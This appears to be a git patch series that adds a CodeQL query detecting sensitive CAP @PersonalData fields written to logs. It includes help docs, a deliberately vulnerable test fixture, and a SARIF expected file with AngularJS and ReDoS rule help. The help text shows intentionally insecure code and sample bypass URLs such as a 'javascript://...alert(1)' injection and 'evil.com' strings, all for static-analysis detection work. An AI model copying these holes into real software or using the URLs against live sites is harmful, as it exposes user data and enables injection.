From f5b8f4cf1a3418c8377d9513cd66d96d74ab472a Mon Sep 17 00:00:00 2001 From: Kristen Newbury Date: Fri, 19 Jul 2024 10:43:09 -0400 Subject: [PATCH 1/9] Add query for sensitive information exposure --- .../javascript/frameworks/cap/CDL.qll | 29 ++++++++++++++ .../sensitive-exposure/SensitiveExposure.md | 1 + .../sensitive-exposure/SensitiveExposure.ql | 38 +++++++++++++++++++ .../sensitive-exposure/sensitive-exposure.cds | 14 +++++++ .../sensitive-exposure.expected | 8 ++++ .../sensitive-exposure/sensitive-exposure.js | 13 +++++++ .../sensitive-exposure.qlref | 1 + scripts/compile-all-cds-in-directory.sh | 0 scripts/create-db-with-cds.sh | 0 9 files changed, 104 insertions(+) create mode 100644 javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.md create mode 100644 javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.ql create mode 100644 javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.cds create mode 100644 javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.expected create mode 100644 javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.js create mode 100644 javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.qlref mode change 100644 => 100755 scripts/compile-all-cds-in-directory.sh mode change 100644 => 100755 scripts/create-db-with-cds.sh diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll index 23dc181c5..079f7c2bb 100644 --- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll +++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll @@ -129,6 +129,35 @@ class CdlAttribute extends JsonObject { int getLength() { result = this.getPropValue("length").(JsonPrimitiveValue).getIntValue() } } +/** + * any `JsonValue` that has a `PersonalData` like annotation above it + */ +class SensitiveAnnotatedElement extends JsonValue { + string annotationName; + string fieldOrEntityName; + + SensitiveAnnotatedElement() { + exists(JsonValue annotationval, JsonValue entityOrField | + annotationval = this.getPropValue(annotationName) and + annotationName.matches("@PersonalData%") and + this = entityOrField.getPropValue(fieldOrEntityName) + ) + } + + /** + * Gets the name of this annotation, without the leading `@` character. + */ + string getAnnotationName() { "@" + result = annotationName } + + /** + * Gets the name of this field or entity that is annotated + */ + string getEntityOrFieldName() { result = fieldOrEntityName } +} + +/** + * CDL annotations specifically associated to `CdlElement`s + */ abstract class CdlAnnotation extends JsonValue { string annotationName; CdlElement element; diff --git a/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.md b/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.md new file mode 100644 index 000000000..0519ecba6 --- /dev/null +++ b/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.md @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.ql b/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.ql new file mode 100644 index 000000000..027a60763 --- /dev/null +++ b/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.ql @@ -0,0 +1,38 @@ +/** + * @name Insertion of sensitive information into log files + * @description Writing sensitive information to log files can allow that + * information to be leaked to an attacker more easily. + * @kind path-problem + * @problem.severity warning + * @security-severity 7.5 + * @precision medium + * @id javascript/sensitive-log + * @tags security + * external/cwe/cwe-532 + */ + +import javascript +import advanced_security.javascript.frameworks.cap.CDS +import advanced_security.javascript.frameworks.cap.CAPLogInjectionQuery +import DataFlow::PathGraph + +class SensitiveExposureSource extends DataFlow::Node { + SensitiveExposureSource() { + exists(PropRead p, SensitiveAnnotatedElement c | + p.getPropertyName() = c.getEntityOrFieldName() and + this = p + ) + } +} + +class SensitiveLogExposureConfig extends TaintTracking::Configuration { + SensitiveLogExposureConfig() { this = "SensitiveLogExposure" } + + override predicate isSource(DataFlow::Node source) { source instanceof SensitiveExposureSource } + + override predicate isSink(DataFlow::Node sink) { sink instanceof CdsLogSink } +} + +from SensitiveLogExposureConfig config, DataFlow::PathNode source, DataFlow::PathNode sink +where config.hasFlowPath(source, sink) +select sink, source, sink, "Log entry depends on a potentially sensitive piece of information." diff --git a/javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.cds b/javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.cds new file mode 100644 index 000000000..7bb31ec27 --- /dev/null +++ b/javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.cds @@ -0,0 +1,14 @@ +namespace advanced_security.log_exposure.sample_entities; + +entity Sample { + name : String(111); + dateOfBirth : Date; +} + +// annotations for Data Privacy +annotate Sample with +@PersonalData : { DataSubjectRole : 'Sample', EntitySemantics : 'DataSubject' } +{ + name @PersonalData.IsPotentiallySensitive; + dateOfBirth @PersonalData.IsPotentiallyPersonal; +} \ No newline at end of file diff --git a/javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.expected b/javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.expected new file mode 100644 index 000000000..079209fe2 --- /dev/null +++ b/javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.expected @@ -0,0 +1,8 @@ +nodes +| sensitive-exposure.js:10:32:10:42 | Sample.name | +| sensitive-exposure.js:10:32:10:42 | Sample.name | +| sensitive-exposure.js:10:32:10:42 | Sample.name | +edges +| sensitive-exposure.js:10:32:10:42 | Sample.name | sensitive-exposure.js:10:32:10:42 | Sample.name | +#select +| sensitive-exposure.js:10:32:10:42 | Sample.name | sensitive-exposure.js:10:32:10:42 | Sample.name | sensitive-exposure.js:10:32:10:42 | Sample.name | Log entry depends on a potentially sensitive piece of information. | diff --git a/javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.js b/javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.js new file mode 100644 index 000000000..4608eb23f --- /dev/null +++ b/javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.js @@ -0,0 +1,13 @@ +import cds from '@sap/cds' +const LOG = cds.log("logger"); + +const { Sample } = cds.entities('advanced_security.log_exposure.sample_entities') + +class SampleVulnService extends cds.ApplicationService { + init() { + /* A sensitive info log sink. */ + + LOG.info("Received: ", Sample.name); // CAP log exposure alert + } + +} diff --git a/javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.qlref b/javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.qlref new file mode 100644 index 000000000..feac67297 --- /dev/null +++ b/javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.qlref @@ -0,0 +1 @@ +sensitive-exposure/SensitiveExposure.ql \ No newline at end of file diff --git a/scripts/compile-all-cds-in-directory.sh b/scripts/compile-all-cds-in-directory.sh old mode 100644 new mode 100755 diff --git a/scripts/create-db-with-cds.sh b/scripts/create-db-with-cds.sh old mode 100644 new mode 100755 From 3bc317b8aa3f77621e71c9060da24db1ce927bcd Mon Sep 17 00:00:00 2001 From: Kristen Newbury Date: Fri, 19 Jul 2024 12:30:03 -0400 Subject: [PATCH 2/9] Add sensitive information exposure query --- .../sensitive-exposure/SensitiveExposure.md | 48 ++++++++++++++++++- 1 file changed, 47 insertions(+), 1 deletion(-) diff --git a/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.md b/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.md index 0519ecba6..729888020 100644 --- a/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.md +++ b/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.md @@ -1 +1,47 @@ - \ No newline at end of file + # CAP Insertion of Sensitive Information into Log File + +If sensitive information is written to a log entry using the CAP Node.js logging API, a malicious user may be able to gain access to user data. + +Data annotated as `@PersonalData` should not be logged. + +## Recommendation + +CAP applications should not log sensitive information. Check CDS declarations for annotations before logging certain data types or fields. + +## Examples + +This CAP service directly logs the sensitive information. + +```cds +namespace advanced_security.log_exposure.sample_entities; + +entity Sample { + name : String(111); +} + +// annotations for Data Privacy +annotate Sample with +@PersonalData : { DataSubjectRole : 'Sample', EntitySemantics : 'DataSubject' } +{ + name @PersonalData.IsPotentiallySensitive; +} +``` + +``` javascript +import cds from '@sap/cds' +const LOG = cds.log("logger"); + +const { Sample } = cds.entities('advanced_security.log_exposure.sample_entities') + +class SampleVulnService extends cds.ApplicationService { + init() { + LOG.info("Received: ", Sample.name); // CAP log exposure alert + } + +} +``` + +## References + +- OWASP 2021: [Security Logging and Monitoring Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/). +- SAP CAPire Documentation: [PersonalData Annotations](https://cap.cloud.sap/docs/guides/data-privacy/annotations). \ No newline at end of file From 7787dd7689b7c73958dd5335cd62ccaf9bf06d19 Mon Sep 17 00:00:00 2001 From: Kristen Newbury Date: Fri, 19 Jul 2024 15:08:09 -0400 Subject: [PATCH 3/9] Update sarif expected --- .github/workflows/javascript.sarif.expected | 6597 ++++++++++--------- 1 file changed, 3391 insertions(+), 3206 deletions(-) diff --git a/.github/workflows/javascript.sarif.expected b/.github/workflows/javascript.sarif.expected index 4554aeba4..414de0c9b 100644 --- a/.github/workflows/javascript.sarif.expected +++ b/.github/workflows/javascript.sarif.expected @@ -84,59 +84,113 @@ } } ], "rules" : [ { - "id" : "js/polynomial-redos", - "name" : "js/polynomial-redos", + "id" : "js/angular/double-compilation", + "name" : "js/angular/double-compilation", "shortDescription" : { - "text" : "Polynomial regular expression used on uncontrolled data" + "text" : "Double compilation" }, "fullDescription" : { - "text" : "A regular expression that can require polynomial time to match may be vulnerable to denial-of-service attacks." + "text" : "Recompiling an already compiled part of the DOM can lead to unexpected behavior of directives, performance problems, and memory leaks." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Polynomial regular expression used on uncontrolled data\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *nk* or even *2n*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this use of a regular expression, which removes all leading and trailing whitespace in a string:\n\n```javascript\n\ntext.replace(/^\\s+|\\s+$/g, ''); // BAD\n```\nThe sub-expression `\"\\s+$\"` will match the whitespace characters in `text` from left to right, but it can start matching anywhere within a whitespace sequence. This is problematic for strings that do **not** end with a whitespace character. Such a string will force the regular expression engine to process each whitespace sequence once per whitespace character in the sequence.\n\nThis ultimately means that the time cost of trimming a string is quadratic in the length of the string. So a string like `\"a b\"` will take milliseconds to process, but a similar string with a million spaces instead of just one will take several minutes.\n\nAvoid this problem by rewriting the regular expression to not contain the ambiguity about when to start matching whitespace sequences. For instance, by using a negative look-behind (`/^\\s+|(? 1000) {\n throw new Error(\"Input too long\");\n}\n\n/^(\\+|-)?(\\d+|(\\d*\\.\\d*))?(E|e)?([-+])?(\\d+)?$/.test(str)\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n", - "markdown" : "# Polynomial regular expression used on uncontrolled data\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *nk* or even *2n*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this use of a regular expression, which removes all leading and trailing whitespace in a string:\n\n```javascript\n\ntext.replace(/^\\s+|\\s+$/g, ''); // BAD\n```\nThe sub-expression `\"\\s+$\"` will match the whitespace characters in `text` from left to right, but it can start matching anywhere within a whitespace sequence. This is problematic for strings that do **not** end with a whitespace character. Such a string will force the regular expression engine to process each whitespace sequence once per whitespace character in the sequence.\n\nThis ultimately means that the time cost of trimming a string is quadratic in the length of the string. So a string like `\"a b\"` will take milliseconds to process, but a similar string with a million spaces instead of just one will take several minutes.\n\nAvoid this problem by rewriting the regular expression to not contain the ambiguity about when to start matching whitespace sequences. For instance, by using a negative look-behind (`/^\\s+|(? 1000) {\n throw new Error(\"Input too long\");\n}\n\n/^(\\+|-)?(\\d+|(\\d*\\.\\d*))?(E|e)?([-+])?(\\d+)?$/.test(str)\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n" + "text" : "# Double compilation\nThe AngularJS compiler processes (parts of) the DOM, determining which directives match which DOM elements, and then applies the directives to the elements. Each DOM element should only be compiled once, otherwise unexpected behavior may result.\n\n\n## Recommendation\nOnly compile new DOM elements.\n\n\n## Example\nThe following example (adapted from the AngularJS developer guide) shows a directive that adds a tooltip to a DOM element, and then compiles the entire element to apply nested directives.\n\n\n```javascript\nangular.module('myapp')\n .directive('addToolTip', function($compile) {\n return {\n link: function(scope, element, attrs) {\n var tooltip = angular.element('A tooltip');\n tooltip.on('mouseenter mouseleave', function() {\n scope.$apply('showToolTip = !showToolTip');\n });\n element.append(tooltip);\n $compile(element)(scope); // NOT OK\n }\n };\n});\n\n```\nThis is problematic, since it will recompile all of `element`, including parts that have already been compiled.\n\nInstead, only the new element should be compiled:\n\n\n```javascript\nangular.module('myapp')\n .directive('addToolTip', function($compile) {\n return {\n link: function(scope, element, attrs) {\n var tooltip = angular.element('A tooltip');\n tooltip.on('mouseenter mouseleave', function() {\n scope.$apply('showToolTip = !showToolTip');\n });\n element.append(tooltip);\n $compile(tooltip)(scope); // OK\n }\n };\n});\n\n```\n\n## References\n* AngularJS Developer Guide: [Double Compilation, and how to avoid it](https://docs.angularjs.org/guide/compiler#double-compilation-and-how-to-avoid-it).\n* Common Weakness Enumeration: [CWE-1176](https://cwe.mitre.org/data/definitions/1176.html).\n", + "markdown" : "# Double compilation\nThe AngularJS compiler processes (parts of) the DOM, determining which directives match which DOM elements, and then applies the directives to the elements. Each DOM element should only be compiled once, otherwise unexpected behavior may result.\n\n\n## Recommendation\nOnly compile new DOM elements.\n\n\n## Example\nThe following example (adapted from the AngularJS developer guide) shows a directive that adds a tooltip to a DOM element, and then compiles the entire element to apply nested directives.\n\n\n```javascript\nangular.module('myapp')\n .directive('addToolTip', function($compile) {\n return {\n link: function(scope, element, attrs) {\n var tooltip = angular.element('A tooltip');\n tooltip.on('mouseenter mouseleave', function() {\n scope.$apply('showToolTip = !showToolTip');\n });\n element.append(tooltip);\n $compile(element)(scope); // NOT OK\n }\n };\n});\n\n```\nThis is problematic, since it will recompile all of `element`, including parts that have already been compiled.\n\nInstead, only the new element should be compiled:\n\n\n```javascript\nangular.module('myapp')\n .directive('addToolTip', function($compile) {\n return {\n link: function(scope, element, attrs) {\n var tooltip = angular.element('A tooltip');\n tooltip.on('mouseenter mouseleave', function() {\n scope.$apply('showToolTip = !showToolTip');\n });\n element.append(tooltip);\n $compile(tooltip)(scope); // OK\n }\n };\n});\n\n```\n\n## References\n* AngularJS Developer Guide: [Double Compilation, and how to avoid it](https://docs.angularjs.org/guide/compiler#double-compilation-and-how-to-avoid-it).\n* Common Weakness Enumeration: [CWE-1176](https://cwe.mitre.org/data/definitions/1176.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-1333", "external/cwe/cwe-730", "external/cwe/cwe-400" ], - "description" : "A regular expression that can require polynomial time\n to match may be vulnerable to denial-of-service attacks.", - "id" : "js/polynomial-redos", - "kind" : "path-problem", - "name" : "Polynomial regular expression used on uncontrolled data", - "precision" : "high", + "tags" : [ "reliability", "frameworks/angularjs", "security", "external/cwe/cwe-1176" ], + "description" : "Recompiling an already compiled part of the DOM can lead to\n unexpected behavior of directives, performance problems, and memory leaks.", + "id" : "js/angular/double-compilation", + "kind" : "problem", + "name" : "Double compilation", + "precision" : "very-high", "problem.severity" : "warning", - "security-severity" : "7.5" + "security-severity" : "8.8" } }, { - "id" : "js/redos", - "name" : "js/redos", + "id" : "js/angular/insecure-url-whitelist", + "name" : "js/angular/insecure-url-whitelist", "shortDescription" : { - "text" : "Inefficient regular expression" + "text" : "Insecure URL whitelist" }, "fullDescription" : { - "text" : "A regular expression that requires exponential time to match certain inputs can be a performance bottleneck, and may be vulnerable to denial-of-service attacks." + "text" : "URL whitelists that are too permissive can cause security vulnerabilities." }, "defaultConfiguration" : { "enabled" : true, - "level" : "error" + "level" : "warning" }, "help" : { - "text" : "# Inefficient regular expression\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *nk* or even *2n*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this regular expression:\n\n```javascript\n\n/^_(__|.)+_$/\n```\nIts sub-expression `\"(__|.)+?\"` can match the string `\"__\"` either by the first alternative `\"__\"` to the left of the `\"|\"` operator, or by two repetitions of the second alternative `\".\"` to the right. Thus, a string consisting of an odd number of underscores followed by some other character will cause the regular expression engine to run for an exponential amount of time before rejecting the input.\n\nThis problem can be avoided by rewriting the regular expression to remove the ambiguity between the two branches of the alternative inside the repetition:\n\n```javascript\n\n/^_(__|[^_])+_$/\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n", - "markdown" : "# Inefficient regular expression\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *nk* or even *2n*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this regular expression:\n\n```javascript\n\n/^_(__|.)+_$/\n```\nIts sub-expression `\"(__|.)+?\"` can match the string `\"__\"` either by the first alternative `\"__\"` to the left of the `\"|\"` operator, or by two repetitions of the second alternative `\".\"` to the right. Thus, a string consisting of an odd number of underscores followed by some other character will cause the regular expression engine to run for an exponential amount of time before rejecting the input.\n\nThis problem can be avoided by rewriting the regular expression to remove the ambiguity between the two branches of the alternative inside the repetition:\n\n```javascript\n\n/^_(__|[^_])+_$/\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n" + "text" : "# Insecure URL whitelist\nAngularJS uses filters to ensure that the URLs used for sourcing AngularJS templates and other script-running URLs are safe. One such filter is a whitelist of URL patterns to allow.\n\nA URL pattern that is too permissive can cause security vulnerabilities.\n\n\n## Recommendation\nMake the whitelist URL patterns as restrictive as possible.\n\n\n## Example\nThe following example shows an AngularJS application with whitelist URL patterns that all are too permissive.\n\n\n```javascript\nangular.module('myApp', [])\n .config(function($sceDelegateProvider) {\n $sceDelegateProvider.resourceUrlWhitelist([\n \"*://example.org/*\", // BAD\n \"https://**.example.com/*\", // BAD\n \"https://example.**\", // BAD\n \"https://example.*\" // BAD\n ]);\n });\n\n```\nThis is problematic, since the four patterns match the following malicious URLs, respectively:\n\n* `javascript://example.org/a%0A%0Dalert(1)` (`%0A%0D` is a linebreak)\n* `https://evil.com/?ignore=://example.com/a`\n* `https://example.evil.com`\n* `https://example.evilTld`\n\n## References\n* OWASP/Google presentation: [Securing AngularJS Applications](https://www.owasp.org/images/6/6e/Benelus_day_20161125_S_Lekies_Securing_AngularJS_Applications.pdf)\n* AngularJS Developer Guide: [Format of items in resourceUrlWhitelist/Blacklist](https://docs.angularjs.org/api/ng/service/$sce#resourceUrlPatternItem).\n* Common Weakness Enumeration: [CWE-183](https://cwe.mitre.org/data/definitions/183.html).\n* Common Weakness Enumeration: [CWE-625](https://cwe.mitre.org/data/definitions/625.html).\n", + "markdown" : "# Insecure URL whitelist\nAngularJS uses filters to ensure that the URLs used for sourcing AngularJS templates and other script-running URLs are safe. One such filter is a whitelist of URL patterns to allow.\n\nA URL pattern that is too permissive can cause security vulnerabilities.\n\n\n## Recommendation\nMake the whitelist URL patterns as restrictive as possible.\n\n\n## Example\nThe following example shows an AngularJS application with whitelist URL patterns that all are too permissive.\n\n\n```javascript\nangular.module('myApp', [])\n .config(function($sceDelegateProvider) {\n $sceDelegateProvider.resourceUrlWhitelist([\n \"*://example.org/*\", // BAD\n \"https://**.example.com/*\", // BAD\n \"https://example.**\", // BAD\n \"https://example.*\" // BAD\n ]);\n });\n\n```\nThis is problematic, since the four patterns match the following malicious URLs, respectively:\n\n* `javascript://example.org/a%0A%0Dalert(1)` (`%0A%0D` is a linebreak)\n* `https://evil.com/?ignore=://example.com/a`\n* `https://example.evil.com`\n* `https://example.evilTld`\n\n## References\n* OWASP/Google presentation: [Securing AngularJS Applications](https://www.owasp.org/images/6/6e/Benelus_day_20161125_S_Lekies_Securing_AngularJS_Applications.pdf)\n* AngularJS Developer Guide: [Format of items in resourceUrlWhitelist/Blacklist](https://docs.angularjs.org/api/ng/service/$sce#resourceUrlPatternItem).\n* Common Weakness Enumeration: [CWE-183](https://cwe.mitre.org/data/definitions/183.html).\n* Common Weakness Enumeration: [CWE-625](https://cwe.mitre.org/data/definitions/625.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-1333", "external/cwe/cwe-730", "external/cwe/cwe-400" ], - "description" : "A regular expression that requires exponential time to match certain inputs\n can be a performance bottleneck, and may be vulnerable to denial-of-service\n attacks.", - "id" : "js/redos", + "tags" : [ "security", "frameworks/angularjs", "external/cwe/cwe-183", "external/cwe/cwe-625" ], + "description" : "URL whitelists that are too permissive can cause security vulnerabilities.", + "id" : "js/angular/insecure-url-whitelist", "kind" : "problem", - "name" : "Inefficient regular expression", - "precision" : "high", - "problem.severity" : "error", + "name" : "Insecure URL whitelist", + "precision" : "very-high", + "problem.severity" : "warning", "security-severity" : "7.5" } + }, { + "id" : "js/angular/disabling-sce", + "name" : "js/angular/disabling-sce", + "shortDescription" : { + "text" : "Disabling SCE" + }, + "fullDescription" : { + "text" : "Disabling strict contextual escaping (SCE) can cause security vulnerabilities." + }, + "defaultConfiguration" : { + "enabled" : true, + "level" : "warning" + }, + "help" : { + "text" : "# Disabling SCE\nAngularJS is secure by default through automated sanitization and filtering of untrusted values that could cause vulnerabilities such as XSS. Strict Contextual Escaping (SCE) is an execution mode in AngularJS that provides this security mechanism.\n\nDisabling SCE in an AngularJS application is strongly discouraged. It is even more discouraged to disable SCE in a library, since it is an application-wide setting.\n\n\n## Recommendation\nDo not disable SCE.\n\n\n## Example\nThe following example shows an AngularJS application that disables SCE in order to dynamically construct an HTML fragment, which is later inserted into the DOM through `$scope.html`.\n\n\n```javascript\nangular.module('app', [])\n .config(function($sceProvider) {\n $sceProvider.enabled(false); // BAD\n }).controller('controller', function($scope) {\n // ...\n $scope.html = '
  • ' + item.toString() + '
';\n });\n\n```\nThis is problematic, since it disables SCE for the entire AngularJS application.\n\nInstead, just mark the dynamically constructed HTML fragment as safe using `$sce.trustAsHtml`, before assigning it to `$scope.html`:\n\n\n```javascript\nangular.module('app', [])\n .controller('controller', function($scope, $sce) {\n // ...\n // GOOD (but should use the templating system instead)\n $scope.html = $sce.trustAsHtml('
  • ' + item.toString() + '
'); \n });\n\n```\nPlease note that this example is for illustrative purposes only; use the AngularJS templating system to dynamically construct HTML when possible.\n\n\n## References\n* AngularJS Developer Guide: [Strict Contextual Escaping](https://docs.angularjs.org/api/ng/service/$sce)\n* AngularJS Developer Guide: [Can I disable SCE completely?](https://docs.angularjs.org/api/ng/service/$sce#can-i-disable-sce-completely-).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", + "markdown" : "# Disabling SCE\nAngularJS is secure by default through automated sanitization and filtering of untrusted values that could cause vulnerabilities such as XSS. Strict Contextual Escaping (SCE) is an execution mode in AngularJS that provides this security mechanism.\n\nDisabling SCE in an AngularJS application is strongly discouraged. It is even more discouraged to disable SCE in a library, since it is an application-wide setting.\n\n\n## Recommendation\nDo not disable SCE.\n\n\n## Example\nThe following example shows an AngularJS application that disables SCE in order to dynamically construct an HTML fragment, which is later inserted into the DOM through `$scope.html`.\n\n\n```javascript\nangular.module('app', [])\n .config(function($sceProvider) {\n $sceProvider.enabled(false); // BAD\n }).controller('controller', function($scope) {\n // ...\n $scope.html = '
  • ' + item.toString() + '
';\n });\n\n```\nThis is problematic, since it disables SCE for the entire AngularJS application.\n\nInstead, just mark the dynamically constructed HTML fragment as safe using `$sce.trustAsHtml`, before assigning it to `$scope.html`:\n\n\n```javascript\nangular.module('app', [])\n .controller('controller', function($scope, $sce) {\n // ...\n // GOOD (but should use the templating system instead)\n $scope.html = $sce.trustAsHtml('
  • ' + item.toString() + '
